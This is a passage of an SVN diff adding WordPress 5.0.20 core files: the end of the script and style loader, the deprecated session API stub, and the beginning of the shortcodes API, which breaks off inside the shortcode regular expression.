+	// External libraries and friends
+	$styles->add( 'imgareaselect',       '/wp-includes/js/imgareaselect/imgareaselect.css', array(), '0.9.8' );
+	$styles->add( 'wp-jquery-ui-dialog', "/wp-includes/css/jquery-ui-dialog$suffix.css", array( 'dashicons' ) );
+	$styles->add( 'mediaelement',        "/wp-includes/js/mediaelement/mediaelementplayer-legacy.min.css", array(), '4.2.6-78496d1' );
+	$styles->add( 'wp-mediaelement',     "/wp-includes/js/mediaelement/wp-mediaelement$suffix.css", array( 'mediaelement' ) );
+	$styles->add( 'thickbox',            '/wp-includes/js/thickbox/thickbox.css', array( 'dashicons' ) );
+	$styles->add( 'wp-codemirror',       '/wp-includes/js/codemirror/codemirror.min.css', array(), '5.29.1-alpha-ee20357' );
+
+	// Deprecated CSS
+	$styles->add( 'deprecated-media', "/wp-admin/css/deprecated-media$suffix.css" );
+	$styles->add( 'farbtastic',       "/wp-admin/css/farbtastic$suffix.css", array(), '1.3u1' );
+	$styles->add( 'jcrop',            "/wp-includes/js/jcrop/jquery.Jcrop.min.css", array(), '0.9.12' );
+	$styles->add( 'colors-fresh', false, array( 'wp-admin', 'buttons' ) ); // Old handle.
+	$styles->add( 'open-sans', $open_sans_font_url ); // No longer used in core as of 4.6
+
+	// Packages styles
+	$fonts_url = '';
+
+	/*
+	 * Translators: Use this to specify the proper Google Font name and variants
+	 * to load that is supported by your language. Do not translate.
+	 * Set to 'off' to disable loading.
+	 */
+	$font_family = _x( 'Noto Serif:400,400i,700,700i', 'Google Font Name and Variants' );
+	if ( 'off' !== $font_family ) {
+		$fonts_url  =  'https://fonts.googleapis.com/css?family=' . urlencode( $font_family );
+	}
+	$styles->add( 'wp-editor-font', $fonts_url );
+
+	$styles->add( 'wp-block-library-theme', "/wp-includes/css/dist/block-library/theme$suffix.css" );
+
+	$styles->add(
+		'wp-edit-blocks',
+		"/wp-includes/css/dist/block-library/editor$suffix.css",
+		array(
+			'wp-components',
+			'wp-editor',
+			'wp-block-library',
+			// Always include visual styles so the editor never appears broken.
+			'wp-block-library-theme',
+		)
+	);
+
+	$package_styles = array(
+		'block-library' => array(),
+		'components' => array(),
+		'edit-post' => array( 'wp-components', 'wp-editor', 'wp-edit-blocks', 'wp-block-library', 'wp-nux' ),
+		'editor' => array( 'wp-components', 'wp-editor-font', 'wp-nux' ),
+		'format-library' => array(),
+		'list-reusable-blocks' => array( 'wp-components' ),
+		'nux' => array( 'wp-components' ),
+	);
+
+	foreach ( $package_styles as $package => $dependencies ) {
+		$handle  = 'wp-' . $package;
+		$path    = "/wp-includes/css/dist/$package/style$suffix.css";
+
+		$styles->add( $handle, $path, $dependencies );
+	}
+
+	// RTL CSS
+	$rtl_styles = array(
+		// Admin CSS
+		'common', 'forms', 'admin-menu', 'dashboard', 'list-tables', 'edit', 'revisions', 'media', 'themes', 'about', 'nav-menus',
+		'widgets', 'site-icon', 'l10n', 'install', 'wp-color-picker', 'customize-controls', 'customize-widgets', 'customize-nav-menus', 'customize-preview',
+		'ie', 'login',
+		// Includes CSS
+		'buttons', 'admin-bar', 'wp-auth-check', 'editor-buttons', 'media-views', 'wp-pointer',
+		'wp-jquery-ui-dialog',
+		// Package styles
+		'wp-block-library-theme', 'wp-edit-blocks', 'wp-block-library', 'wp-components', 'wp-edit-post', 'wp-editor', 'wp-format-library',
+		'wp-list-reusable-blocks', 'wp-nux',
+		// Deprecated CSS
+		'deprecated-media', 'farbtastic',
+	);
+
+	foreach ( $rtl_styles as $rtl_style ) {
+		$styles->add_data( $rtl_style, 'rtl', 'replace' );
+		if ( $suffix ) {
+			$styles->add_data( $rtl_style, 'suffix', $suffix );
+		}
+	}
+}
+
+/**
+ * Reorder JavaScript scripts array to place prototype before jQuery.
+ *
+ * @since 2.3.1
+ *
+ * @param array $js_array JavaScript scripts array
+ * @return array Reordered array, if needed.
+ */
+function wp_prototype_before_jquery( $js_array ) {
+	if ( false === $prototype = array_search( 'prototype', $js_array, true ) )
+		return $js_array;
+
+	if ( false === $jquery = array_search( 'jquery', $js_array, true ) )
+		return $js_array;
+
+	if ( $prototype < $jquery )
+		return $js_array;
+
+	unset($js_array[$prototype]);
+
+	array_splice( $js_array, $jquery, 0, 'prototype' );
+
+	return $js_array;
+}
+
+/**
+ * Load localized data on print rather than initialization.
+ *
+ * These localizations require information that may not be loaded even by init.
+ *
+ * @since 2.5.0
+ */
+function wp_just_in_time_script_localization() {
+
+	wp_localize_script( 'autosave', 'autosaveL10n', array(
+		'autosaveInterval' => AUTOSAVE_INTERVAL,
+		'blog_id' => get_current_blog_id(),
+	) );
+
+	wp_localize_script( 'mce-view', 'mceViewL10n', array(
+		'shortcodes' => ! empty( $GLOBALS['shortcode_tags'] ) ? array_keys( $GLOBALS['shortcode_tags'] ) : array()
+	) );
+
+	wp_localize_script( 'word-count', 'wordCountL10n', array(
+		/*
+		 * translators: If your word count is based on single characters (e.g. East Asian characters),
+		 * enter 'characters_excluding_spaces' or 'characters_including_spaces'. Otherwise, enter 'words'.
+		 * Do not translate into your own language.
+		 */
+		'type' => _x( 'words', 'Word count type. Do not translate!' ),
+		'shortcodes' => ! empty( $GLOBALS['shortcode_tags'] ) ? array_keys( $GLOBALS['shortcode_tags'] ) : array()
+	) );
+}
+
+/**
+ * Localizes the jQuery UI datepicker.
+ *
+ * @since 4.6.0
+ *
+ * @link https://api.jqueryui.com/datepicker/#options
+ *
+ * @global WP_Locale $wp_locale The WordPress date and time locale object.
+ */
+function wp_localize_jquery_ui_datepicker() {
+	global $wp_locale;
+
+	if ( ! wp_script_is( 'jquery-ui-datepicker', 'enqueued' ) ) {
+		return;
+	}
+
+	// Convert the PHP date format into jQuery UI's format.
+	$datepicker_date_format = str_replace(
+		array(
+			'd', 'j', 'l', 'z', // Day.
+			'F', 'M', 'n', 'm', // Month.
+			'Y', 'y'            // Year.
+		),
+		array(
+			'dd', 'd', 'DD', 'o',
+			'MM', 'M', 'm', 'mm',
+			'yy', 'y'
+		),
+		get_option( 'date_format' )
+	);
+
+	$datepicker_defaults = wp_json_encode( array(
+		'closeText'       => __( 'Close' ),
+		'currentText'     => __( 'Today' ),
+		'monthNames'      => array_values( $wp_locale->month ),
+		'monthNamesShort' => array_values( $wp_locale->month_abbrev ),
+		'nextText'        => __( 'Next' ),
+		'prevText'        => __( 'Previous' ),
+		'dayNames'        => array_values( $wp_locale->weekday ),
+		'dayNamesShort'   => array_values( $wp_locale->weekday_abbrev ),
+		'dayNamesMin'     => array_values( $wp_locale->weekday_initial ),
+		'dateFormat'      => $datepicker_date_format,
+		'firstDay'        => absint( get_option( 'start_of_week' ) ),
+		'isRTL'           => $wp_locale->is_rtl(),
+	) );
+
+	wp_add_inline_script( 'jquery-ui-datepicker', "jQuery(document).ready(function(jQuery){jQuery.datepicker.setDefaults({$datepicker_defaults});});" );
+}
+
+/**
+ * Localizes community events data that needs to be passed to dashboard.js.
+ *
+ * @since 4.8.0
+ */
+function wp_localize_community_events() {
+	if ( ! wp_script_is( 'dashboard' ) ) {
+		return;
+	}
+
+	require_once( ABSPATH . 'wp-admin/includes/class-wp-community-events.php' );
+
+	$user_id            = get_current_user_id();
+	$saved_location     = get_user_option( 'community-events-location', $user_id );
+	$saved_ip_address   = isset( $saved_location['ip'] ) ? $saved_location['ip'] : false;
+	$current_ip_address = WP_Community_Events::get_unsafe_client_ip();
+
+	/*
+	 * If the user's location is based on their IP address, then update their
+	 * location when their IP address changes. This allows them to see events
+	 * in their current city when travelling. Otherwise, they would always be
+	 * shown events in the city where they were when they first loaded the
+	 * Dashboard, which could have been months or years ago.
+	 */
+	if ( $saved_ip_address && $current_ip_address && $current_ip_address !== $saved_ip_address ) {
+		$saved_location['ip'] = $current_ip_address;
+		update_user_option( $user_id, 'community-events-location', $saved_location, true );
+	}
+
+	$events_client = new WP_Community_Events( $user_id, $saved_location );
+
+	wp_localize_script( 'dashboard', 'communityEventsData', array(
+		'nonce' => wp_create_nonce( 'community_events' ),
+		'cache' => $events_client->get_cached_events(),
+
+		'l10n' => array(
+			'enter_closest_city' => __( 'Enter your closest city to find nearby events.' ),
+			'error_occurred_please_try_again' => __( 'An error occurred. Please try again.' ),
+			'attend_event_near_generic' => __( 'Attend an upcoming event near you.' ),
+
+			/*
+			 * These specific examples were chosen to highlight the fact that a
+			 * state is not needed, even for cities whose name is not unique.
+			 * It would be too cumbersome to include that in the instructions
+			 * to the user, so it's left as an implication.
+			 */
+			/* translators: %s is the name of the city we couldn't locate.
+			 * Replace the examples with cities related to your locale. Test that
+			 * they match the expected location and have upcoming events before
+			 * including them. If no cities related to your locale have events,
+			 * then use cities related to your locale that would be recognizable
+			 * to most users. Use only the city name itself, without any region
+			 * or country. Use the endonym (native locale name) instead of the
+			 * English name if possible.
+			 */
+			'could_not_locate_city' => __( 'We couldn&#8217;t locate %s. Please try another nearby city. For example: Kansas City; Springfield; Portland.' ),
+
+			// This one is only used with wp.a11y.speak(), so it can/should be more brief.
+			/* translators: %s: the name of a city */
+			'city_updated' => __( 'City updated. Listing events near %s.' ),
+		)
+	) );
+}
+
+/**
+ * Administration Screen CSS for changing the styles.
+ *
+ * If installing the 'wp-admin/' directory will be replaced with './'.
+ *
+ * The $_wp_admin_css_colors global manages the Administration Screens CSS
+ * stylesheet that is loaded. The option that is set is 'admin_color' and is the
+ * color and key for the array. The value for the color key is an object with
+ * a 'url' parameter that has the URL path to the CSS file.
+ *
+ * The query from $src parameter will be appended to the URL that is given from
+ * the $_wp_admin_css_colors array value URL.
+ *
+ * @since 2.6.0
+ * @global array $_wp_admin_css_colors
+ *
+ * @param string $src    Source URL.
+ * @param string $handle Either 'colors' or 'colors-rtl'.
+ * @return string|false URL path to CSS stylesheet for Administration Screens.
+ */
+function wp_style_loader_src( $src, $handle ) {
+	global $_wp_admin_css_colors;
+
+	if ( wp_installing() )
+		return preg_replace( '#^wp-admin/#', './', $src );
+
+	if ( 'colors' == $handle ) {
+		$color = get_user_option('admin_color');
+
+		if ( empty($color) || !isset($_wp_admin_css_colors[$color]) )
+			$color = 'fresh';
+
+		$color = $_wp_admin_css_colors[$color];
+		$url = $color->url;
+
+		if ( ! $url ) {
+			return false;
+		}
+
+		$parsed = parse_url( $src );
+		if ( isset($parsed['query']) && $parsed['query'] ) {
+			wp_parse_str( $parsed['query'], $qv );
+			$url = add_query_arg( $qv, $url );
+		}
+
+		return $url;
+	}
+
+	return $src;
+}
+
+/**
+ * Prints the script queue in the HTML head on admin pages.
+ *
+ * Postpones the scripts that were queued for the footer.
+ * print_footer_scripts() is called in the footer to print these scripts.
+ *
+ * @since 2.8.0
+ *
+ * @see wp_print_scripts()
+ *
+ * @global bool $concatenate_scripts
+ *
+ * @return array
+ */
+function print_head_scripts() {
+	global $concatenate_scripts;
+
+	if ( ! did_action('wp_print_scripts') ) {
+		/** This action is documented in wp-includes/functions.wp-scripts.php */
+		do_action( 'wp_print_scripts' );
+	}
+
+	$wp_scripts = wp_scripts();
+
+	script_concat_settings();
+	$wp_scripts->do_concat = $concatenate_scripts;
+	$wp_scripts->do_head_items();
+
+	/**
+	 * Filters whether to print the head scripts.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param bool $print Whether to print the head scripts. Default true.
+	 */
+	if ( apply_filters( 'print_head_scripts', true ) ) {
+		_print_scripts();
+	}
+
+	$wp_scripts->reset();
+	return $wp_scripts->done;
+}
+
+/**
+ * Prints the scripts that were queued for the footer or too late for the HTML head.
+ *
+ * @since 2.8.0
+ *
+ * @global WP_Scripts $wp_scripts
+ * @global bool       $concatenate_scripts
+ *
+ * @return array
+ */
+function print_footer_scripts() {
+	global $wp_scripts, $concatenate_scripts;
+
+	if ( ! ( $wp_scripts instanceof WP_Scripts ) ) {
+		return array(); // No need to run if not instantiated.
+	}
+	script_concat_settings();
+	$wp_scripts->do_concat = $concatenate_scripts;
+	$wp_scripts->do_footer_items();
+
+	/**
+	 * Filters whether to print the footer scripts.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param bool $print Whether to print the footer scripts. Default true.
+	 */
+	if ( apply_filters( 'print_footer_scripts', true ) ) {
+		_print_scripts();
+	}
+
+	$wp_scripts->reset();
+	return $wp_scripts->done;
+}
+
+/**
+ * Print scripts (internal use only)
+ *
+ * @ignore
+ *
+ * @global WP_Scripts $wp_scripts
+ * @global bool       $compress_scripts
+ */
+function _print_scripts() {
+	global $wp_scripts, $compress_scripts;
+
+	$zip = $compress_scripts ? 1 : 0;
+	if ( $zip && defined('ENFORCE_GZIP') && ENFORCE_GZIP )
+		$zip = 'gzip';
+
+	if ( $concat = trim( $wp_scripts->concat, ', ' ) ) {
+
+		if ( !empty($wp_scripts->print_code) ) {
+			echo "\n<script type='text/javascript'>\n";
+			echo "/* <![CDATA[ */\n"; // not needed in HTML 5
+			echo $wp_scripts->print_code;
+			echo "/* ]]> */\n";
+			echo "</script>\n";
+		}
+
+		$concat = str_split( $concat, 128 );
+		$concat = 'load%5B%5D=' . implode( '&load%5B%5D=', $concat );
+
+		$src = $wp_scripts->base_url . "/wp-admin/load-scripts.php?c={$zip}&" . $concat . '&ver=' . $wp_scripts->default_version;
+		echo "<script type='text/javascript' src='" . esc_attr($src) . "'></script>\n";
+	}
+
+	if ( !empty($wp_scripts->print_html) )
+		echo $wp_scripts->print_html;
+}
+
+/**
+ * Prints the script queue in the HTML head on the front end.
+ *
+ * Postpones the scripts that were queued for the footer.
+ * wp_print_footer_scripts() is called in the footer to print these scripts.
+ *
+ * @since 2.8.0
+ *
+ * @global WP_Scripts $wp_scripts
+ *
+ * @return array
+ */
+function wp_print_head_scripts() {
+	if ( ! did_action('wp_print_scripts') ) {
+		/** This action is documented in wp-includes/functions.wp-scripts.php */
+		do_action( 'wp_print_scripts' );
+	}
+
+	global $wp_scripts;
+
+	if ( ! ( $wp_scripts instanceof WP_Scripts ) ) {
+		return array(); // no need to run if nothing is queued
+	}
+	return print_head_scripts();
+}
+
+/**
+ * Private, for use in *_footer_scripts hooks
+ *
+ * @since 3.3.0
+ */
+function _wp_footer_scripts() {
+	print_late_styles();
+	print_footer_scripts();
+}
+
+/**
+ * Hooks to print the scripts and styles in the footer.
+ *
+ * @since 2.8.0
+ */
+function wp_print_footer_scripts() {
+	/**
+	 * Fires when footer scripts are printed.
+	 *
+	 * @since 2.8.0
+	 */
+	do_action( 'wp_print_footer_scripts' );
+}
+
+/**
+ * Wrapper for do_action('wp_enqueue_scripts')
+ *
+ * Allows plugins to queue scripts for the front end using wp_enqueue_script().
+ * Runs first in wp_head() where all is_home(), is_page(), etc. functions are available.
+ *
+ * @since 2.8.0
+ */
+function wp_enqueue_scripts() {
+	/**
+	 * Fires when scripts and styles are enqueued.
+	 *
+	 * @since 2.8.0
+	 */
+	do_action( 'wp_enqueue_scripts' );
+}
+
+/**
+ * Prints the styles queue in the HTML head on admin pages.
+ *
+ * @since 2.8.0
+ *
+ * @global bool $concatenate_scripts
+ *
+ * @return array
+ */
+function print_admin_styles() {
+	global $concatenate_scripts;
+
+	$wp_styles = wp_styles();
+
+	script_concat_settings();
+	$wp_styles->do_concat = $concatenate_scripts;
+	$wp_styles->do_items(false);
+
+	/**
+	 * Filters whether to print the admin styles.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param bool $print Whether to print the admin styles. Default true.
+	 */
+	if ( apply_filters( 'print_admin_styles', true ) ) {
+		_print_styles();
+	}
+
+	$wp_styles->reset();
+	return $wp_styles->done;
+}
+
+/**
+ * Prints the styles that were queued too late for the HTML head.
+ *
+ * @since 3.3.0
+ *
+ * @global WP_Styles $wp_styles
+ * @global bool      $concatenate_scripts
+ *
+ * @return array|void
+ */
+function print_late_styles() {
+	global $wp_styles, $concatenate_scripts;
+
+	if ( ! ( $wp_styles instanceof WP_Styles ) ) {
+		return;
+	}
+
+	script_concat_settings();
+	$wp_styles->do_concat = $concatenate_scripts;
+	$wp_styles->do_footer_items();
+
+	/**
+	 * Filters whether to print the styles queued too late for the HTML head.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param bool $print Whether to print the 'late' styles. Default true.
+	 */
+	if ( apply_filters( 'print_late_styles', true ) ) {
+		_print_styles();
+	}
+
+	$wp_styles->reset();
+	return $wp_styles->done;
+}
+
+/**
+ * Print styles (internal use only)
+ *
+ * @ignore
+ * @since 3.3.0
+ *
+ * @global bool $compress_css
+ */
+function _print_styles() {
+	global $compress_css;
+
+	$wp_styles = wp_styles();
+
+	$zip = $compress_css ? 1 : 0;
+	if ( $zip && defined('ENFORCE_GZIP') && ENFORCE_GZIP )
+		$zip = 'gzip';
+
+	if ( $concat = trim( $wp_styles->concat, ', ' ) ) {
+		$dir = $wp_styles->text_direction;
+		$ver = $wp_styles->default_version;
+
+		$concat = str_split( $concat, 128 );
+		$concat = 'load%5B%5D=' . implode( '&load%5B%5D=', $concat );
+
+		$href = $wp_styles->base_url . "/wp-admin/load-styles.php?c={$zip}&dir={$dir}&" . $concat . '&ver=' . $ver;
+		echo "<link rel='stylesheet' href='" . esc_attr($href) . "' type='text/css' media='all' />\n";
+
+		if ( !empty($wp_styles->print_code) ) {
+			echo "<style type='text/css'>\n";
+			echo $wp_styles->print_code;
+			echo "\n</style>\n";
+		}
+	}
+
+	if ( !empty($wp_styles->print_html) )
+		echo $wp_styles->print_html;
+}
+
+/**
+ * Determine the concatenation and compression settings for scripts and styles.
+ *
+ * @since 2.8.0
+ *
+ * @global bool $concatenate_scripts
+ * @global bool $compress_scripts
+ * @global bool $compress_css
+ */
+function script_concat_settings() {
+	global $concatenate_scripts, $compress_scripts, $compress_css;
+
+	$compressed_output = ( ini_get('zlib.output_compression') || 'ob_gzhandler' == ini_get('output_handler') );
+
+	if ( ! isset($concatenate_scripts) ) {
+		$concatenate_scripts = defined('CONCATENATE_SCRIPTS') ? CONCATENATE_SCRIPTS : true;
+		if ( ( ! is_admin() && ! did_action( 'login_init' ) ) || ( defined('SCRIPT_DEBUG') && SCRIPT_DEBUG ) )
+			$concatenate_scripts = false;
+	}
+
+	if ( ! isset($compress_scripts) ) {
+		$compress_scripts = defined('COMPRESS_SCRIPTS') ? COMPRESS_SCRIPTS : true;
+		if ( $compress_scripts && ( ! get_site_option('can_compress_scripts') || $compressed_output ) )
+			$compress_scripts = false;
+	}
+
+	if ( ! isset($compress_css) ) {
+		$compress_css = defined('COMPRESS_CSS') ? COMPRESS_CSS : true;
+		if ( $compress_css && ( ! get_site_option('can_compress_scripts') || $compressed_output ) )
+			$compress_css = false;
+	}
+}
+
+/**
+ * Handles the enqueueing of block scripts and styles that are common to both
+ * the editor and the front-end.
+ *
+ * @since 5.0.0
+ *
+ * @global WP_Screen $current_screen
+ */
+function wp_common_block_scripts_and_styles() {
+	global $current_screen;
+
+	if ( is_admin() && ( $current_screen instanceof WP_Screen ) && ! $current_screen->is_block_editor() ) {
+		return;
+	}
+
+	wp_enqueue_style( 'wp-block-library' );
+
+	if ( current_theme_supports( 'wp-block-styles' ) ) {
+		wp_enqueue_style( 'wp-block-library-theme' );
+	}
+
+	/**
+ 	 * Fires after enqueuing block assets for both editor and front-end.
+ 	 *
+ 	 * Call `add_action` on any hook before 'wp_enqueue_scripts'.
+ 	 *
+ 	 * In the function call you supply, simply use `wp_enqueue_script` and
+ 	 * `wp_enqueue_style` to add your functionality to the Gutenberg editor.
+ 	 *
+ 	 * @since 5.0.0
+ 	 */
+	  do_action( 'enqueue_block_assets' );
+}
+
+/**
+ * Enqueues registered block scripts and styles, depending on current rendered
+ * context (only enqueuing editor scripts while in context of the editor).
+ *
+ * @since 5.0.0
+ *
+ * @global WP_Screen $current_screen
+ */
+function wp_enqueue_registered_block_scripts_and_styles() {
+	global $current_screen;
+
+	$is_editor = ( ( $current_screen instanceof WP_Screen ) && $current_screen->is_block_editor() );
+
+	$block_registry = WP_Block_Type_Registry::get_instance();
+	foreach ( $block_registry->get_all_registered() as $block_name => $block_type ) {
+		// Front-end styles.
+		if ( ! empty( $block_type->style ) ) {
+			wp_enqueue_style( $block_type->style );
+		}
+
+		// Front-end script.
+		if ( ! empty( $block_type->script ) ) {
+			wp_enqueue_script( $block_type->script );
+		}
+
+		// Editor styles.
+		if ( $is_editor && ! empty( $block_type->editor_style ) ) {
+			wp_enqueue_style( $block_type->editor_style );
+		}
+
+		// Editor script.
+		if ( $is_editor && ! empty( $block_type->editor_script ) ) {
+			wp_enqueue_script( $block_type->editor_script );
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-includes/session.php
===================================================================
--- /tags/5.0.20/src/wp-includes/session.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/session.php	(revision 56912)
@@ -0,0 +1,11 @@
+<?php
+/**
+ * Session API
+ *
+ * @since 4.0.0
+ */
+
+_deprecated_file( basename( __FILE__ ), '4.7.0' );
+
+require_once( ABSPATH . WPINC . '/class-wp-session-tokens.php' );
+require_once( ABSPATH . WPINC . '/class-wp-user-meta-session-tokens.php' );
Index: /tags/5.0.20/src/wp-includes/shortcodes.php
===================================================================
--- /tags/5.0.20/src/wp-includes/shortcodes.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/shortcodes.php	(revision 56912)
@@ -0,0 +1,668 @@
+<?php
+/**
+ * WordPress API for creating bbcode-like tags or what WordPress calls
+ * "shortcodes". The tag and attribute parsing or regular expression code is
+ * based on the Textpattern tag parser.
+ *
+ * A few examples are below:
+ *
+ * [shortcode /]
+ * [shortcode foo="bar" baz="bing" /]
+ * [shortcode foo="bar"]content[/shortcode]
+ *
+ * Shortcode tags support attributes and enclosed content, but does not entirely
+ * support inline shortcodes in other shortcodes. You will have to call the
+ * shortcode parser in your function to account for that.
+ *
+ * {@internal
+ * Please be aware that the above note was made during the beta of WordPress 2.6
+ * and in the future may not be accurate. Please update the note when it is no
+ * longer the case.}}
+ *
+ * To apply shortcode tags to content:
+ *
+ *     $out = do_shortcode( $content );
+ *
+ * @link https://codex.wordpress.org/Shortcode_API
+ *
+ * @package WordPress
+ * @subpackage Shortcodes
+ * @since 2.5.0
+ */
+
+/**
+ * Container for storing shortcode tags and their hook to call for the shortcode
+ *
+ * @since 2.5.0
+ *
+ * @name $shortcode_tags
+ * @var array
+ * @global array $shortcode_tags
+ */
+$shortcode_tags = array();
+
+/**
+ * Adds a new shortcode.
+ *
+ * Care should be taken through prefixing or other means to ensure that the
+ * shortcode tag being added is unique and will not conflict with other,
+ * already-added shortcode tags. In the event of a duplicated tag, the tag
+ * loaded last will take precedence.
+ *
+ * @since 2.5.0
+ *
+ * @global array $shortcode_tags
+ *
+ * @param string   $tag      Shortcode tag to be searched in post content.
+ * @param callable $callback The callback function to run when the shortcode is found.
+ *                           Every shortcode callback is passed three parameters by default,
+ *                           including an array of attributes (`$atts`), the shortcode content
+ *                           or null if not set (`$content`), and finally the shortcode tag
+ *                           itself (`$shortcode_tag`), in that order.
+ */
+function add_shortcode( $tag, $callback ) {
+	global $shortcode_tags;
+
+	if ( '' == trim( $tag ) ) {
+		$message = __( 'Invalid shortcode name: Empty name given.' );
+		_doing_it_wrong( __FUNCTION__, $message, '4.4.0' );
+		return;
+	}
+
+	if ( 0 !== preg_match( '@[<>&/\[\]\x00-\x20=]@', $tag ) ) {
+		/* translators: 1: shortcode name, 2: space separated list of reserved characters */
+		$message = sprintf( __( 'Invalid shortcode name: %1$s. Do not use spaces or reserved characters: %2$s' ), $tag, '& / < > [ ] =' );
+		_doing_it_wrong( __FUNCTION__, $message, '4.4.0' );
+		return;
+	}
+
+	$shortcode_tags[ $tag ] = $callback;
+}
+
+/**
+ * Removes hook for shortcode.
+ *
+ * @since 2.5.0
+ *
+ * @global array $shortcode_tags
+ *
+ * @param string $tag Shortcode tag to remove hook for.
+ */
+function remove_shortcode($tag) {
+	global $shortcode_tags;
+
+	unset($shortcode_tags[$tag]);
+}
+
+/**
+ * Clear all shortcodes.
+ *
+ * This function is simple, it clears all of the shortcode tags by replacing the
+ * shortcodes global by a empty array. This is actually a very efficient method
+ * for removing all shortcodes.
+ *
+ * @since 2.5.0
+ *
+ * @global array $shortcode_tags
+ */
+function remove_all_shortcodes() {
+	global $shortcode_tags;
+
+	$shortcode_tags = array();
+}
+
+/**
+ * Whether a registered shortcode exists named $tag
+ *
+ * @since 3.6.0
+ *
+ * @global array $shortcode_tags List of shortcode tags and their callback hooks.
+ *
+ * @param string $tag Shortcode tag to check.
+ * @return bool Whether the given shortcode exists.
+ */
+function shortcode_exists( $tag ) {
+	global $shortcode_tags;
+	return array_key_exists( $tag, $shortcode_tags );
+}
+
+/**
+ * Whether the passed content contains the specified shortcode
+ *
+ * @since 3.6.0
+ *
+ * @global array $shortcode_tags
+ *
+ * @param string $content Content to search for shortcodes.
+ * @param string $tag     Shortcode tag to check.
+ * @return bool Whether the passed content contains the given shortcode.
+ */
+function has_shortcode( $content, $tag ) {
+	if ( false === strpos( $content, '[' ) ) {
+		return false;
+	}
+
+	if ( shortcode_exists( $tag ) ) {
+		preg_match_all( '/' . get_shortcode_regex() . '/', $content, $matches, PREG_SET_ORDER );
+		if ( empty( $matches ) )
+			return false;
+
+		foreach ( $matches as $shortcode ) {
+			if ( $tag === $shortcode[2] ) {
+				return true;
+			} elseif ( ! empty( $shortcode[5] ) && has_shortcode( $shortcode[5], $tag ) ) {
+				return true;
+			}
+		}
+	}
+	return false;
+}
+
+/**
+ * Returns a list of registered shortcode names found in the given content.
+ *
+ * Example usage:
+ *
+ *     get_shortcode_tags_in_content( '[audio src="file.mp3"][/audio] [foo] [gallery ids="1,2,3"]' );
+ *     // array( 'audio', 'gallery' )
+ *
+ * @since 6.3.2
+ *
+ * @param string $content The content to check.
+ * @return string[] An array of registered shortcode names found in the content.
+ */
+function get_shortcode_tags_in_content( $content ) {
+	if ( false === strpos( $content, '[' ) ) {
+		return array();
+	}
+
+	preg_match_all( '/' . get_shortcode_regex() . '/', $content, $matches, PREG_SET_ORDER );
+	if ( empty( $matches ) ) {
+		return array();
+	}
+
+	$tags = array();
+	foreach ( $matches as $shortcode ) {
+		$tags[] = $shortcode[2];
+
+		if ( ! empty( $shortcode[5] ) ) {
+			$deep_tags = get_shortcode_tags_in_content( $shortcode[5] );
+			if ( ! empty( $deep_tags ) ) {
+				$tags = array_merge( $tags, $deep_tags );
+			}
+		}
+	}
+
+	return $tags;
+}
+
+/**
+ * Searches content for shortcodes and filter shortcodes through their hooks.
+ *
+ * If there are no shortcode tags defined, then the content will be returned
+ * without any filtering. This might cause issues when plugins are disabled but
+ * the shortcode will still show up in the post or content.
+ *
+ * @since 2.5.0
+ *
+ * @global array $shortcode_tags List of shortcode tags and their callback hooks.
+ *
+ * @param string $content Content to search for shortcodes.
+ * @param bool $ignore_html When true, shortcodes inside HTML elements will be skipped.
+ * @return string Content with shortcodes filtered out.
+ */
+function do_shortcode( $content, $ignore_html = false ) {
+	global $shortcode_tags;
+
+	if ( false === strpos( $content, '[' ) ) {
+		return $content;
+	}
+
+	if (empty($shortcode_tags) || !is_array($shortcode_tags))
+		return $content;
+
+	// Find all registered tag names in $content.
+	preg_match_all( '@\[([^<>&/\[\]\x00-\x20=]++)@', $content, $matches );
+	$tagnames = array_intersect( array_keys( $shortcode_tags ), $matches[1] );
+
+	if ( empty( $tagnames ) ) {
+		return $content;
+	}
+
+	$content = do_shortcodes_in_html_tags( $content, $ignore_html, $tagnames );
+
+	$pattern = get_shortcode_regex( $tagnames );
+	$content = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $content );
+
+	// Always restore square braces so we don't break things like <!--[if IE ]>
+	$content = unescape_invalid_shortcodes( $content );
+
+	return $content;
+}
+
+/**
+ * Retrieve the shortcode regular expression for searching.
+ *
+ * The regular expression combines the shortcode tags in the regular expression
+ * in a regex class.
+ *
+ * The regular expression contains 6 different sub matches to help with parsing.
+ *
+ * 1 - An extra [ to allow for escaping shortcodes with double [[]]
+ * 2 - The shortcode name
+ * 3 - The shortcode argument list
+ * 4 - The self closing /
+ * 5 - The content of a shortcode when it wraps some content.
+ * 6 - An extra ] to allow for escaping shortcodes with double [[]]
+ *
+ * @since 2.5.0
+ * @since 4.4.0 Added the `$tagnames` parameter.
+ *
+ * @global array $shortcode_tags
+ *
+ * @param array $tagnames Optional. List of shortcodes to find. Defaults to all registered shortcodes.
+ * @return string The shortcode search regular expression
+ */
+function get_shortcode_regex( $tagnames = null ) {
+	global $shortcode_tags;
+
+	if ( empty( $tagnames ) ) {
+		$tagnames = array_keys( $shortcode_tags );
+	}
+	$tagregexp = join( '|', array_map('preg_quote', $tagnames) );
+
+	// WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag()
+	// Also, see shortcode_unautop() and shortcode.js.
+	return
+		  '\\['                              // Opening bracket
+		. '(\\[?)'                           // 1: Optional second opening bracket for escaping shortcodes: [[tag]]
+		. "($tagregexp)"                     // 2: Shortcode name
+		. '(?![\\w-])'                       // Not followed by word character or hyphen
+		. '('                                // 3: Unroll the loop: Inside the opening shortcode tag
+		.     '[^\\]\\/]*'                   // Not a closing bracket or forward slash
+		.     '(?:'
+		.         '\\/(?!\\])'               // A forward slash not followed by a closing bracket
+		.         '[^\\]\\/]*'               // Not a closing bracket or forward slash
+		.     ')*?'
+		. ')'
+		. '(?:'
+		.     '(\\/)'                        // 4: Self closing tag ...
+		.     '\\]'                          // ... and closing bracket
+		. '|'
+		.     '\\]'                          // Closing bracket
+		.     '(?:'
+		.         '('                        // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags
+		.             '[^\\[]*+'             // Not an opening bracket
+		.             '(?:'
+		.                 '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag
+		.                 '[^\\[]*+'         // Not an opening bracket
+		.             ')*+'
+		.         ')'
+		.         '\\[\\/\\2\\]'             // Closing shortcode tag
